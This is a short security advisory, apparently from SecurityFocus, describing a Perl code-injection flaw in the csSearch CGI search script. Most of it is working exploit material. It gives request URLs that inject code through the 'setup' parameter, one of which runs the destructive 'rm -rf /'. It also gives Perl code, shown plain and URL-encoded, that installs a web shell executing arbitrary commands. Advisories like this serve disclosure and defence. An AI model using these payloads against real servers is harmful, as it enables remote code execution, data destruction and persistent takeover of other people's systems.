source: http://www.securityfocus.com/bid/4368/info

csSearch is a website search script, written in Perl. It will run on most Unix and Linux variants, as well as Microsoft operating systems.

csSearch is prone to an issue which may enable an attacker to execute Perl code with the privileges of the webserver process.

For exploitation to be successful, the attacker must pass properly URL encoded Perl code in CGI parameters via a web request. For example:

http://host/cgi-bin/csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE 

Configuration data is saved with the following URL.
Note that any perl code would need to be URL encoded.

csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE

For example, the classic "rm -rf /" example would be
as follows:

csSearch.cgi?command=savesetup&setup=`rm%20-rf%20/`

Here's something a little more interesting, less than
300 bytes of code that turns csSearch into a remote
web shell of sorts.

*ShowSearchForm = *Login = sub {
print "<form method=post action=csSearch.cgi>Enter
Command (eg: ls -l)<br>";
print "<input type=text name=cmd size=99> ";
print "<input type=submit value=Execute><hr><xmp>";
$in{'cmd'} && print `$in{'cmd'} 2>&1`;
exit;
};

URL Encoded as:

csSearch.cgi?command=savesetup&setup=*ShowSearchForm%3D*Login%3Dsub{print"<form+method%3Dpost+action%3DcsSearch.cgi>Enter+Comm
and+(example:+ls+-l)<br><input+type%3Dtext+name%3Dcmd+size%3D99>+<input+type%3Dsubmit+value%3DExecute><hr><xmp>";$in{'cmd'}%26
%26print`$in{'cmd'}+2>%261`;exit;};